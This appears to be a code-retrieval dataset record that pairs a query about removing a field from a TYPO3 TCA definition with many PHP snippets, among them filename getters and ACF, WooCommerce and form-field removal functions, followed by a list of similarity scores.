substr($export, $extpos);\n } else {\n $export .= \"_{$timestamp}.csv\";\n }\n }\n if (!file_exists($tempexportdir) && !@mkdir($tempexportdir, 0777, true)) {\n error_log(\"/blocks/rlip/lib.php::rlip_get_export_filename('{$plugin}', {$tz}) - Error creating directory: '{$tempexportdir}'\");\n }\n return $tempexportdir . $export;\n}", "protected function filename() {\n return 'Passport_report_' . date('YmdHis');\n }", "public function getFilename()\n\t\t{\n\t\t\treturn $this->filename;\n\t\t}", "protected function getFileName() {\n return $this->_dateTime->format('YmdHis') . '.xml';\n }", "protected function getFileName() {\n // Full file path.\n $path = $this->urls[$this->activeUrl];\n\n // Explode with the '/' to get the last element.\n $files = explode('/', $path);\n\n // File name without extension.\n $file_name = explode('.', end($files))[0];\n return $file_name;\n }", "protected function filename()\n {\n return 'account_list_' . date('Y_m_d_H_i_s');\n }", "public function getFilename() {\n return $this->filename;\n }", "public function getFilename() {\n\t\t\n\t\t$filename = $this->filename;\n\t\t\n\t\tif(file_exists($this->path . $filename) && $this->rename_if_exists === true) {\n\t\t\n\t\t\t//Explode the filename, pop off the extension and put it back together\n\t\t\t$parts = explode('.', $filename);\n\n\t\t\t$extension = array_pop($parts);\n\n\t\t\t$base_filename = implode('.', $parts);\n\t\t\t\n\t\t\t$count = 1;\n\t\t\t\n\t\t\tdo {\n\t\t\t\t$count++;\n\t\t\t} while(file_exists($this->path . $base_filename . '_' . $count . '.' . $extension));\n\t\t\t\n\t\t\t$filename = $base_filename . '_' . $count . '.' . $extension;\n\t\t\n\t\t}\n\t\t\n\t\treturn $filename;\n\t\t\n\t}", "protected function filename()\n {\n return 'playerBetFlowLogs';\n }", "private function exportFileName($attachment): string\n {\n\n return sprintf('%s-Attachment nr. %s - %s', $this->job->key, strval($attachment->id), $attachment->filename);\n }", "public function getFileName() {\n\t\t$spec = self::$specs[$this->id];\n\t\treturn array_value($spec, \"filename\", FALSE);\n\t}", "public function getFileName(): string\n {\n return Str::studly(\n $this->getTable()\n );\n }", "function getExportFileName($objectsFileNamePart, $context) {\n\t\treturn $this->getExportPath() . date('Ymd-His') .'-' . $objectsFileNamePart .'-' . $context->getId() . '.xml';\n\t}", "public function getFileName() {\n return $this->name;\n }", "protected function filename()\n {\n return 'InvoicesSale_' . date('YmdHis');\n }", "protected function filename()\n {\n return 'Document_' . date('YeamdHis');\n }", "public function getFileName()\n {\n return $this->fileName;\n }", "public function getFileName()\n {\n return $this->fileName;\n }", "public function getFileName()\n {\n return $this->fileName;\n }", "public function getFileName()\n {\n return $this->fileName;\n }", "public function getFileName()\n {\n return $this->fileName;\n }", "protected function filename()\n {\n return 'Order_' . date('YmdHis');\n }", "protected function filename()\n {\n return 'Contracts_' . date('YmdHis');\n }", "function _getFileName()\r\n\t{\r\n\t\t$f = $this->pathHomeDir . '/' . $this->pathLocale . '/' . $this->pathFile . \".\" . $this->pathEx;\r\n\t\treturn $f;\r\n\t}", "function getFilename();", "public function getFileName() {\n\n return $this->fileName;\n }", "public function getFilename(): string\n {\n return DIR_TESTS . '/' . $this->module . '/Controller/' . $this->controller . 'Test.php';\n }", "protected function filename()\n {\n return 'owe_' . date('YmdHis');\n }", "protected function filename()\n {\n return 'Invoices_' . date('YmdHis');\n }", "public function getBulkFilename()\n {\n return $this->filename . '.pdf';\n }", "public function getFileName()\n\t{\n\t\treturn $this->fileName;\n\t}", "public function getFileName()\n\t{\n\t\treturn $this->fileName;\n\t}", "private function genereteFilename(){\n return strtolower(md5(uniqid($this->document->baseName)) . '.' . $this->document->extension);\n }", "protected function filename() {\n\t\treturn 'Order_' . date('YmdHis');\n\t}", "public function getFileName(){\n return $this->finalFileName;\n }", "public function getFilename()\n {\n return 'test-file';\n }", "public function filename(): string;" ]
[ "0.8196528", "0.80591613", "0.7949222", "0.7926228", "0.76592237", "0.7587201", "0.7587201", "0.7554733", "0.75451165", "0.750201", "0.750201", "0.7494168", "0.74720484", "0.7440598", "0.7438713", "0.74358875", "0.7431382", "0.7413326", "0.7389984", "0.735199", "0.7335797", "0.73351353", "0.7334927", "0.7316822", "0.73054564", "0.728245", "0.728245", "0.728245", "0.7275521", "0.7269254", "0.7268183", "0.7258453", "0.7258453", "0.7258453", "0.7258453", "0.7258453", "0.7258453", "0.7250907", "0.7248147", "0.72442096", "0.72418547", "0.72405916", "0.72378516", "0.7231945", "0.7228207", "0.72274476", "0.7219302", "0.72191083", "0.72168005", "0.7213594", "0.72070825", "0.72070825", "0.7201815", "0.719634", "0.71956646", "0.7194918", "0.71839637", "0.71804535", "0.71567154", "0.71563834", "0.71563834", "0.7155306", "0.7146139", "0.7140778", "0.7128196", "0.7126538", "0.71086234", "0.7108268", "0.71058804", "0.71036285", "0.7088248", "0.7085628", "0.7077877", "0.70729536", "0.7064761", "0.7060098", "0.70597196", "0.70442694", "0.70408803", "0.70382166", "0.7035906", "0.7035906", "0.7035906", "0.7035906", "0.7035906", "0.70327896", "0.70262915", "0.7025894", "0.70084685", "0.70043564", "0.70036155", "0.7002965", "0.69966114", "0.69959754", "0.6994067", "0.6994067", "0.69926775", "0.69908285", "0.69870937", "0.6978238", "0.69774413" ]
0.0
-1
Remove field from TCA definition
public static function removeFromAllTCAtypes($table = '', $field = '', $typeList = '') { if(!empty($table) && !empty($field) && isset($GLOBALS['TCA'][$table])) { foreach($GLOBALS['TCA'][$table]['types'] as $type => $definition) { if(empty($typeList) || in_array($type, explode(',', $typeList))) { if(strpos($GLOBALS['TCA'][$table]['types'][$type]['showitem'], $field.',') === 0) { $GLOBALS['TCA'][$table]['types'][$type]['showitem'] = trim(substr($GLOBALS['TCA'][$table]['types'][$type]['showitem'], strlen($field.','))); } else { $GLOBALS['TCA'][$table]['types'][$type]['showitem'] = preg_replace( '/[, ]+'.preg_quote($field, '/').'/', '', $GLOBALS['TCA'][$table]['types'][$type]['showitem'] ); } } } } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function acf_remove_local_field($key = '')\n{\n}", "private function removeFieldFromTca($table, $field) {\n unset($GLOBALS['TCA'][$table]['columns'][$field]);\n $showItem = t3lib_div::trimExplode(',', $GLOBALS['TCA'][$table]['types'][1]['showitem'], 1);\n\n foreach ($showItem as $k => $v) {\n if ($v === $field) {\n unset($showItem[$k]);\n }\n }\n $GLOBALS['TCA'][$table]['types'][1]['showitem'] = implode(',', $showItem);\n }", "protected function unsetFields()\n {\n }", "public function removeField( $field ) {\r\n if ( isset($this->fields[$field]) ) {\r\n unset($this->fields[$field]);\r\n }\r\n\r\n }", "protected function unsetFields()\n\t{\n unset(\n $this['headshot_id'], $this['created_at'],\n $this['updated_at'], $this['slug']\n );\n\t}", "public function __unset($field) {\n\t\t$this->offsetUnset($field);\n\t}", "function removeField($name) {\n $this->body->removeField($name);\n return $this;\n }", "public function remove_form_field()\n\t{\n\t\t//Get logged in session admin id\n\t\t$user_id \t\t\t\t\t\t= ($this->session->userdata('user_id_hotcargo')) ? $this->session->userdata('user_id_hotcargo') : 1;\n\t\t$setting_data \t\t\t\t\t= $this->myaccount_model->get_account_data($user_id);\n\t\t$data['data']['setting_data'] \t= $setting_data;\n\t\t$data['data']['settings'] \t\t= $this->sitesetting_model->get_settings();\n\t\t$data['data']['dealer_id'] \t\t= $user_id;\n\t\t\n\t\t//getting all admin data \n\t\t$data['myaccount_data'] \t\t\t= $this->myaccount_model->get_account_data($user_id);\n\t\t\n\t\t\n\t\t//Get requested id to remove\n\t\t$field_id \t\t\t\t\t= $this->input->get('form_id');\n\t\t\n\t\t//deleting query\n\t\t$this->mongo_db->where(array('field_name' => $field_id));\n\t\tif($this->mongo_db->delete('form_fields'))\n\t\t\techo 1;\n\t\telse\n\t\t\techo 0;\n\t}", "public function removeField($field_name){\n\t\tif(isset($this->Fields[$field_name])){\n\t\t\tunset($this->Fields[$field_name]);\n\t\t}\n\t}", "function delete_field($field)\n {\n }", "function remove_website_field($fields) {\n unset($fields['url']);\n return $fields;\n}", "private function removeField(string $parent, array &$content) {\n $path = preg_replace('/(\\d+)([.*\\d+])/x', '$1.fields$2', $parent);\n\n //$element = Arr::get($content['questions'], $path);\n\n Arr::forget($content[$this->configuration['fields_key']], $path);\n\n // remove fields index if it is empty\n /*$parentElement = Arr::get($content['questions'], $element['parent']);\n if (isset($parentElement['fields']) && empty($parentElement['fields'])) {\n $children = preg_replace('/([.]\\d+$)/', '', $path);\n Arr::forget($content['questions'], $children);\n }*/\n }", "public function removeField($index) {\n\t\t$this->fields[$index] = null;\n\t}", "public function removeField($index) {\n\t\t$this->fields[$index] = null;\n\t}", "public function testRemoveField()\n\t{\n\t\t$this->instance->removeField('content');\n\n\t\t$this->instance->bind($this->getTestData());\n\n\t\t$this->assertNull($this->instance->content);\n\t}", "public function __unset(string $field): void\n\t{\n\t\t$this->unsetValue($field);\n\t}", "public function removeField($value) {\n return $this->setProperty('removeField', $value);\n }", "function acf_remove_local_field_group($key = '')\n{\n}", "public function cleanseFields() {\n $this->dictionary->remove('nospam');\n $this->dictionary->remove('blank');\n $submitVar = $this->controller->getProperty('submitVar');\n if (!empty($submitVar)) {\n $this->dictionary->remove($submitVar);\n }\n }", "public function __unset($_name) {\n\t\tif (array_key_exists($_name,$this->fields)) {\n\t\t\ttrigger_error(self::TEXT_AxonCantUnset);\n\t\t\treturn;\n\t\t}\n\t\tF3::$global['CONTEXT']=$_name;\n\t\ttrigger_error(self::TEXT_AxonNotMapped);\n\t}", "function remove_custom_field_data($field_id, array $contact)\n{\n if (isset($contact['custom_fields'])) {\n foreach ($contact['custom_fields'] as $key => $value) {\n if ($value['id'] == $field_id) {\n unset($contact['custom_fields'][$key]);\n }\n }\n }\n\n return $contact;\n}", "function dt_f_testimonials_att_fields($fields, $post) {\r\n\tif( 'dt_testimonials' == get_post_type($post->post_parent) ) {\r\n unset($fields['align']);\r\n unset($fields['image-size']);\r\n unset($fields['post_content']);\r\n unset($fields['image_alt']);\r\n unset($fields['url']);\r\n\t}\r\n\treturn $fields;\r\n}", "private function unsetProperties(){\n //Human::log(\"--------------------------------------------------- unset initial properties for \".$this->modelName);\n foreach($this->fields() as $f){\n \n $fieldName=$f->name;\n \n unset($this->$fieldName);\n /*\n if(gettype($this->$fieldName)==\"object\"){\n Human::log(\"FIELD now $fieldName is \". get_class($this->$fieldName)); \n }else{\n Human::log(\"FIELD now $fieldName is \". gettype($this->$fieldName)); \n }\n\t \n\t */\n } \n }", "function acf_delete_value($post_id, $field)\n{\n}", "public function removeFieldSet($index) {\n\t\t$this->fieldsets[$index] = null;\n\t}", "function website_remove($fields){\n\n\tif(isset($fields['url']))\n\tunset($fields['url']);\n\n\treturn $fields;\n}", "public function dropField( $table, $field );", "function acf_delete_metadata($post_id = 0, $name = '', $hidden = \\false)\n{\n}", "static public function clearField($name) {\n $self = self::_getInstance();\n if ($self->_hasField($name)) {\n COption::RemoveOption(self::MODULE_NAME, $name);\n }\n }", "public function __unset($fieldName) {\n\t\tunset($this->document->$fieldName);\n\t}", "function updateCMSFields($fields) {\n\t\t$fields->removeByName('UnsubscribedRecords');\n\t\t$fields->removeByName('BlacklistedEmail');\n\t}", "function hankart_remove_fields( $woo_checkout_fields_array ) {\n\t// unset( $woo_checkout_fields_array['billing']['billing_first_name'] );\n\t// unset( $woo_checkout_fields_array['billing']['billing_last_name'] );\n\t// unset( $woo_checkout_fields_array['billing']['billing_phone'] );\n\t// unset( $woo_checkout_fields_array['billing']['billing_email'] );\n\t// unset( $woo_checkout_fields_array['order']['order_comments'] );\n\t// and to remove the fields below\n\tunset( $woo_checkout_fields_array['billing']['billing_company'] );\n\treturn $woo_checkout_fields_array;\n}", "function do_delete(){\n\t\t// remove from fieldset:\n\t\t$fieldset = jcf_fieldsets_get( $this->fieldset_id );\n\t\tif( isset($fieldset['fields'][$this->id]) )\n\t\t\tunset($fieldset['fields'][$this->id]);\n\t\tjcf_fieldsets_update( $this->fieldset_id, $fieldset );\n\t\t\n\t\t// remove from fields array\n\t\tjcf_field_settings_update($this->id, NULL);\n\t}", "function bt_remove_order_notes( $fields ) {\n unset($fields['order']['order_comments']);\n return $fields;\n}", "static public function remove_meta_fields( $fields ) {\n //unset( $fields['_project_images'] );\n //unset( $fields['_client_name'] );\n //unset( $fields['_project_url'] );\n unset( $fields['_project_date'] );\n\n return $fields;\n }", "public function removeField(string $name): void\n {\n $card = $this->getCardFor($name);\n\n if (null === $card) {\n return;\n }\n\n $group = $this->getGroup($card);\n foreach ($group->fields as $i => $field) {\n if (isset($field->id) && $field->id === $name) {\n unset($group->fields[$i]);\n }\n }\n }", "function removeLicense($extrainfo = array ())\n\t{\n\t\t// clean from old values\n\t\t$this->dao->cleanArchive(null, null, $extrainfo['module']);\n\n\t\treturn $extrainfo;\n\t}", "function unsetNonDBfields($table,$obj,$dontTouch=array()){\n\t\tglobal $TCA;\n\t\t$this->getCompressedTCarray();\n\t\t//Get fields in database\n\t\tt3lib_div::loadTCA($table);\n\t\t\n\t\tforeach($obj as $k=>$v){\n\t\t\tif(!array_key_exists($k, $GLOBALS['TCA'][$table]['columns']) && !in_array($k,$dontTouch)){\n\t\t\t\tunset($obj[$k]);\n\t\t\t}\n\t\t}\n\n\t\treturn $obj;\n\t\n\t}", "public function removeColumn($aField) {\r\n foreach ($this -> mCols as $key => $col) {\r\n if ($key == $aField) {\r\n unset($this -> mCols[$key]);\r\n }\r\n }\r\n }", "public function removeXfaInformation() {}", "protected function removeFile($field) {\n $utilArbo = new ServiceArborescence();\n $utilFichier = new UtilFichier();\n $strNomImageThumb = nomImageThumbnail($utilArbo->getRepertoireDossiersMIP() . $this->getObject()->getPhotographie());\n $utilFichier->supprimerFichier($strNomImageThumb);\n\n parent::removeFile($field);\n }", "public function removeField($field)\n {\n if (is_string($field)) {\n $field = $this->getField($field);\n }\n\n $pos = $this->getFieldPosition($field);\n if (false === $pos) {\n throw new EngineException(\n sprintf('No field named %s found in entity %s.', $field->getName(), $this->getName())\n );\n }\n\n unset($this->fields[$pos]);\n unset($this->fieldsByName[$field->getName()]);\n unset($this->fieldsByLowercaseName[strtolower($field->getName())]);\n// unset($this->fieldsByPhpName[$field->getName()]);\n\n $this->adjustFieldPositions();\n // @FIXME: also remove indexes and validators on this field?\n }", "public function remove_field(form_item $field) {\n foreach($this->_fields as $key=>$f) {\n if ($f == $field) {\n unset($this->_fields[$key]);\n return;\n }\n }\n }", "static function &removeFields(&$fields,$removes){\r\n\t\t foreach($removes as $erase) {\r\n\t\t\t\t\t\t $fields->removeByName($erase);\r\n\t\t\t\t\t\t\t\t\t\t } \r\n\t\t\t\t\t return $fields;\r\n\t\t\t\t\t }", "public function __unset($key) {\n unset($this->_fields[$key]);\n unset($this->_fieldBoosts[$key]);\n }", "public function field_delete_field($field_name) {\n field_delete_field($field_name);\n field_purge_batch();\n }", "function remove_yoast_acesso_camera() {\r\n remove_meta_box( 'wpseo_meta' , 'acesso_camera' , 'normal' ); \r\n}", "public function removeField( $name )\n {\n if( $name instanceof WebLab_Data_Field ) {\n $field = $name;\n $name = $field->getAlias();\n if( empty( $name ) ) {\n $name = $field->getName();\n }\n }\n unset( $this->_fields[ $name ] );\n\n return $this;\n }", "public function resetFields()\n {\n $this->name = '';\n \n }", "function acf_delete_field($id = 0)\n{\n}", "protected function removeUnWantedfields(&$data) {\n unset($data['uuid']);\n unset($data['langcode']);\n unset($data['dependencies']);\n unset($data['id']);\n }", "private function removePseudoRelationsFromFieldSet(FieldSet& $fields) {\n\t\t$dataFields = $fields->dataFields();\n\t\tif ($dataFields) foreach ($dataFields as $field) {\n\t\t\tif (preg_match('/^__/', $field->Name()))\n\t\t\t\t$fields->removeByName($field->Name());\n\t\t}\n\t}", "function convertizer_remove() {\ndelete_option('convertizer_data');\n}", "function clear($page_id) {\n\t\t// https://www.advancedcustomfields.com/resources/delete_field/\n\t\tdelete_field(self::ACF_NAME, $page_id);\n\t}", "public function remove_field( $id ) {\n\n\t\t$fields = $this->options;\n\n\t\tif ( isset( $fields[ $id ] ) ) {\n\t\t\tunset( $fields[ $id ] );\n\t\t}\n\n\t\t$this->options = $fields;\n\n\t}", "public function unsetMetadata(): void\n {\n $this->metadata = [];\n }", "private function changelog_unset_unneeded_values () {\n\t\t# remove ip address fields\n\t\tif($this->object_type == \"ip_addr\") {\n\t\t\tunset(\t$this->object_new['subnet'],\n\t\t\t\t\t$this->object_new['type'],\n\t\t\t\t\t$this->object_new['section'],\n\t\t\t\t\t$this->object_new['ip_addr_old'],\n\t\t\t\t\t$this->object_new['nostrict'],\n\t\t\t\t\t$this->object_new['start'],\n\t\t\t\t\t$this->object_new['stop'],\n\t\t\t\t\t$this->object_new['ip'],\n\t\t\t\t\t$this->object_new['subnetvlan'],\n\t\t\t\t\t$this->object_new['addressId']\n\t\t\t\t\t);\n\t\t\tunset(\t$this->object_old['subnet'],\n\t\t\t\t\t$this->object_old['type'],\n\t\t\t\t\t$this->object_old['section'],\n\t\t\t\t\t$this->object_old['ip_addr_old'],\n\t\t\t\t\t$this->object_old['nostrict'],\n\t\t\t\t\t$this->object_old['start'],\n\t\t\t\t\t$this->object_old['stop'],\n\t\t\t\t\t$this->object_old['ip'],\n\t\t\t\t\t$this->object_old['subnetvlan'],\n\t\t\t\t\t$this->object_old['addressId']\n\t\t\t\t\t);\n # remove mac\n if ($this->object_action==\"add\") {\n unset ($this->object_new['mac_old'], $this->object_new['addressId']);\n }\n\t\t\t# reformat ip\n\t\t\tif (isset($this->object_old['ip_addr']))\t{ $this->object_old['ip_addr'] = $this->Subnets->transform_address ($this->object_old['ip_addr'],\"dotted\"); }\n\t\t\tif (isset($this->object_new['ip_addr']))\t{ $this->object_new['ip_addr'] = $this->Subnets->transform_address ($this->object_new['ip_addr'],\"dotted\"); }\n\n\t\t}\n\t\t# remove subnet fields\n\t\telseif($this->object_type == \"subnet\")\t{\n\t\t\t// remove unneeded values\n\t\t\tunset(\t$this->object_new['subnetId'],\n\t\t\t\t\t$this->object_new['location'],\n\t\t\t\t\t$this->object_new['vrfIdOld'],\n\t\t\t\t\t$this->object_new['permissions'],\n\t\t\t\t\t$this->object_new['state'],\n\t\t\t\t\t$this->object_new['sectionId'],\n\t\t\t\t\t$this->object_new['ip']\n\t\t\t\t);\n\t\t\tunset(\t$this->object_old['subnetId'],\n\t\t\t\t\t$this->object_old['location'],\n\t\t\t\t\t$this->object_old['vrfIdOld'],\n\t\t\t\t\t$this->object_old['permissions'],\n\t\t\t\t\t$this->object_old['state'],\n\t\t\t\t\t$this->object_old['sectionId'],\n\t\t\t\t\t$this->object_old['ip']\n\t\t\t\t);\n\n\t\t\t# if section does not change\n\t\t\tif($this->object_new['sectionId']==$this->object_new['sectionIdNew']) {\n\t\t\t\tunset(\t$this->object_new['sectionIdNew'],\n\t\t\t\t\t\t$this->object_new['sectionId'],\n\t\t\t\t\t\t$this->object_old['sectionId']);\n\t\t\t}\n\t\t\telse {\n\t\t\t\t$this->object_old['sectionIdNew'] = $this->object_old['sectionId'];\n\t\t\t}\n\n\t\t\t//transform subnet to IP address format\n\t\t\tif(strlen($this->object_new['subnet'])>0) \t{ $this->object_new['subnet'] = $this->Subnets->transform_address ($this->object_new['subnet'], \"dotted\");}\n\t\t\tif(strlen($this->object_old['subnet'])>0) \t{ $this->object_old['subnet'] = $this->Subnets->transform_address ($this->object_old['subnet'], \"dotted\");}\n\n\t\t\t//remove subnet/mask for folders\n\t\t\tif (@$this->object_new['isFolder']==\"1\")\t{ unset($this->object_new['subnet'], $this->object_new['mask']); }\n\t\t\tif (@$this->object_old['isFolder']==\"1\")\t{ unset($this->object_old['subnet'], $this->object_old['mask']); }\n\t\t}\n\t\t# remove order fields\n\t\telseif($this->object_type == \"section\") {\n\t\t\tunset($this->object_old['order']);\n\t\t}\n\n\t\t# common\n\t\tunset($this->object_new['action']);\n\t\tunset($this->object_new['editDate'], $this->object_old['editDate']);\n\t\tunset($this->object_new['csrf_cookie']);\n\t}", "public function clear() {\n $this->_documentBoost = FALSE;\n\n $this->_fields = array();\n $this->_fieldBoosts = array();\n }", "public function uninstall() {\n\t\t\tself::requireoEmbed();\n\t\t\t$field = FieldMultilingual_oembed::deleteFieldTable();\n\t\t\treturn $field;\n\t\t}", "function xbv_acf_remove_update_notif($value) {\n unset($value->response[ 'advanced-custom-fields-pro/acf.php' ]);\n return $value;\n}", "function meal_checkout_remove_fields( $fields ) {\n unset( $fields['billing']['billing_company'] );\n unset( $fields['billing']['billing_country'] );\n unset( $fields['billing']['billing_address_1'] );\n unset( $fields['billing']['billing_address_2'] );\n unset( $fields['billing']['billing_city'] );\n unset( $fields['billing']['billing_state'] );\n unset( $fields['billing']['billing_postcode'] ); \n\n // remove the shippig fields below\n unset( $fields['shipping']['shipping_first_name'] ); \n unset( $fields['shipping']['shipping_last_name'] ); \n unset( $fields['shipping']['shipping_company'] ); \n unset( $fields['shipping']['shipping_country'] ); \n unset( $fields['shipping']['shipping_address_1'] ); \n unset( $fields['shipping']['shipping_address_2'] ); \n unset( $fields['shipping']['shipping_city'] ); \n unset( $fields['shipping']['shipping_state'] ); \n unset( $fields['shipping']['shipping_postcode'] ); \n\n // remove order comments field\n unset( $woo_checkout_fields_array['order']['order_comments'] );\n\n \n \n return $fields;\n}", "public function __unset($name)\n\t{\n\t\tif ($field = $this->field($name, TRUE))\n\t\t{\n\t\t\t// We don't want to unset the keys, because \n\t\t\t// they are assumed to exist. Just set them back to defaults\n\t\t\t$this->_original[$field] = $this->meta()->defaults[$field];\n\t\t\t\n\t\t\t// Ensure changed and retrieved data is cleared\n\t\t\t// This effectively clears the cache and any changes\n\t\t\tif (array_key_exists($name, $this->_changed))\n\t\t\t{\n\t\t\t\tunset($this->_changed[$name]);\n\t\t\t}\n\t\t\t\n\t\t\tif (array_key_exists($name, $this->_retrieved))\n\t\t\t{\n\t\t\t\tunset($this->_retrieved[$name]);\n\t\t\t}\n\t\t}\n\t\t\n\t\t// This doesn't matter\n\t\tif (array_key_exists($name, $this->_unmapped))\n\t\t{\n\t\t\tunset($this->_unmapped[$name]);\n\t\t}\n\t}", "public function hideExtraField()\n {\n $this->houses=false;\n $this->jobs_training=false;\n $this->motorcycles =false;\n $this->cars = false;\n $this->offices=false;\n $this->lands_plots=false;\n return;\n }", "public function remove_post_custom_fields() {\n\n\t\tremove_meta_box('postcustom' , 'post' , 'normal');\n\n\t}", "function update_field( $field ) {\n\t\t\n\t\t// remove sub fields\n\t\tunset($field['sub_fields']);\n\t\t\n\t\t\t\t\n\t\t// return\t\t\n\t\treturn $field;\n\t}", "function delete_acf_content_on_delete_field($field) {\n // find all occurences of the field key in all tables and delete them\n // and the custom field associated with them\n global $wpdb;\n // remove any tables from this array that you don't want to check\n $tables = array('options', 'postmeta', 'termmeta', 'usermeta', 'commentmeta');\n foreach ($tables as $table) {\n $key_field = 'meta_key';\n $value_field = 'meta_value';\n if ($table == 'options') {\n $key_field = 'option_name';\n $value_field = 'option_value';\n }\n $table = $wpdb->{$table};\n // this query gets all key fields matching the acf key reference field\n $query = 'SELECT DISTINCT('.$key_field.')\n FROM '.$table.'\n WHERE '.$value_field.' = \"'.$field['key'].'\"';\n $results = $wpdb->get_col($query);\n if (!count($results)) {\n // no content found in this table\n continue;\n }\n // loop through keys and construct list of meta_key/option_names to delete\n $keys = array();\n foreach ($results as $key) {\n $keys[] = $key; // delete acf field key reference\n $keys[] = substr($key, 1); // delete acf field value\n }\n // do escping of all values.... just in case\n $keys = $wpdb->_escape($keys);\n // delete all of the content\n $query = 'DELETE FROM '.$table.'\n WHERE '.$key_field.' IN (\"'.implode('\",\"', $keys).'\")';\n $wpdb->query($query);\n } // end foreach table\n }", "function bt_custom_billing_fields( $fields = array() ) {\n unset($fields['billing_company']);\n // unset($fields['billing_address_1']);\n // unset($fields['billing_address_2']);\n // unset($fields['billing_state']);\n // unset($fields['billing_city']);\n // unset($fields['billing_phone']);\n // unset($fields['billing_postcode']);\n // unset($fields['billing_country']);\n return $fields;\n}", "public function unsetFieldFlags($flags) {}", "public function destroy( $value = NULL, $field = 'id' );", "public static function removeExcludeFields(array $tca) {\n\t\tforeach ($tca as $tableName => &$tableConfiguration) {\n\t\t\tif (is_array($tableConfiguration['columns'])) {\n\t\t\t\tforeach ($tableConfiguration['columns'] as $columnName => $columnConfiguration) {\n\t\t\t\t\tif (array_key_exists('exclude', $columnConfiguration) && $columnConfiguration['exclude']) {\n\t\t\t\t\t\tunset($tca[$tableName]['columns'][$columnName]['exclude']);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn $tca;\n\t}", "function custom_remove() { \n remove_meta_box('add-sfwd-certificates', 'nav-menus', 'side');\n remove_meta_box('add-sfwd-assignment', 'nav-menus', 'side'); \n}", "function remove_description_taxonomy( $columns ) {\n\n if( isset( $columns['description'] ) )\n unset( $columns['description'] );\n\n return $columns;\n}", "function cemhub_delete_webform_field_mapping($cid, $nid) {\n db_delete('cemhub_fields')\n ->condition('cid', $cid)\n ->condition('nid', $nid)\n ->execute();\n}", "public function clearCachedFieldInfo() {}", "public function delMetadata() {}", "public function delMetadata() {}", "public function delMetadata() {}", "public static function removeColumn($col){\n\t\t//\t\t\tarray_slice($db_fields, $col + 1, count($db_fields) -1, true);\n\t\t\t\t\n\t}", "function acf_untrash_field($id = 0)\n{\n}", "function humcore_remove_meta_boxes() {\n\n\tremove_meta_box( 'humcore_deposit_subjectdiv', 'humcore_deposit', 'side' );\n\tremove_meta_box( 'tagsdiv-humcore_deposit_tag', 'humcore_deposit', 'side' );\n\n}", "function field_acfe_update($field){\n \n if(!acf_maybe_get($field, 'acfe_update'))\n return $field;\n \n unset($field['acfe_update']);\n \n return $field;\n \n }", "function bt_custom_shipping_fields( $fields = array() ) {\n unset($fields['shipping_company']);\n // unset($fields['shipping_address_1']);\n // unset($fields['shipping_address_2']);\n // unset($fields['shipping_state']);\n // unset($fields['shipping_city']);\n // unset($fields['shipping_phone']);\n // unset($fields['shipping_postcode']);\n // unset($fields['shipping_country']);\n return $fields;\n}", "public function getUnsetFields(): array\n {\n return ['testimony_id'];\n }", "public function __unset($_name);", "public function onBeforeUninstall()\n {\n // Override Craft's default context and content\n craft()->content->fieldContext = AmFormsModel::FieldContext;\n craft()->content->contentTable = AmFormsModel::FieldContent;\n\n // Delete our own context fields\n $fields = craft()->fields->getAllFields('id', AmFormsModel::FieldContext);\n foreach ($fields as $field) {\n craft()->fields->deleteField($field);\n }\n\n // Delete content table\n craft()->db->createCommand()->dropTable('amforms_content');\n }", "public function offsetUnset ($offset) {\n $this->__fields[$offset]['data'] = null;\n }", "function modify_user_meta($profile_fields) {\n\n // Add new fields\n $profile_fields['facebook_id'] = 'Facebook Profile ID';\n $profile_fields['twitter_username'] = 'Twitter @usename';\n\n // Remove old fields\n unset($profile_fields['aim']);\n unset($profile_fields['yim']);\n //not working unset($profile_fields['url']);\n unset($profile_fields['jabber']);\n\n return $profile_fields;\n}", "function acf_reset_local()\n{\n}", "public function removeField($field)\n\t{\n\t\t$this->checkValidLoader();\n\n\t\tif (in_array($field, $this->loaders[ $this->contextLoader ]))\n\t\t{\n\t\t\tarray_splice($this->loaders[ $this->contextLoader ], array_search($field, $this->loaders[ $this->contextLoader ]));\n\t\t}\n\n\t\treturn $this;\n\t}", "function remove_permastruct($name)\n {\n }", "function _remove_theme_attribute_in_block_template_content($template_content)\n {\n }", "function offsetUnset($key)\n\t{\n\t\tif (isset($this->fields[$key]))\n\t\t\tunset($this->fields[$key]);\n\t}", "public function clear() {\n foreach ($this->Fields as $key => $item) {\n $this->$key = null;\n }\n }", "function acf_reset_meta($post_id = 0)\n{\n}", "public function remove_meta_box() {\n\t\tremove_meta_box( $this->tax_name . 'div', 'ctrs-projects', 'side' );\n\t}", "function cpac_remove_acf_from_cpac_post_types( $post_types ) {\r\n\tif ( class_exists( 'Acf', false ) ) {\r\n\t\tif ( isset( $post_types['acf'] ) ) {\r\n\t\t\tunset( $post_types['acf'] );\r\n\t\t}\r\n\t\tif ( isset( $post_types['acf-field-group'] ) ) {\r\n\t\t\tunset( $post_types['acf-field-group'] );\r\n\t\t}\r\n\t}\r\n\r\n\treturn $post_types;\r\n}", "function eliminarConceptoCta(){\n\t\t$this->procedimiento='pre.f_concepto_cta_ime';\n\t\t$this->transaccion='PRE_CCTA_ELI';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('id_concepto_cta','id_concepto_cta','int4');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "public function setMetadataToRemove($val)\n {\n $this->_propDict[\"metadataToRemove\"] = $val;\n return $this;\n }", "function acf_delete_json_field_group($key)\n{\n}", "function yy_r37(){ $this->_retvalue = new SQL\\AlterTable\\DropColumn($this->yystack[$this->yyidx + 0]->minor); }", "public function removeValidation() {\n\n\t\t$fields = $this->getFields();\n\n\t\tforeach ($fields as $field) {\n\t\t\t$field->clearValidationRules();\n\t\t}\n\t}" ]
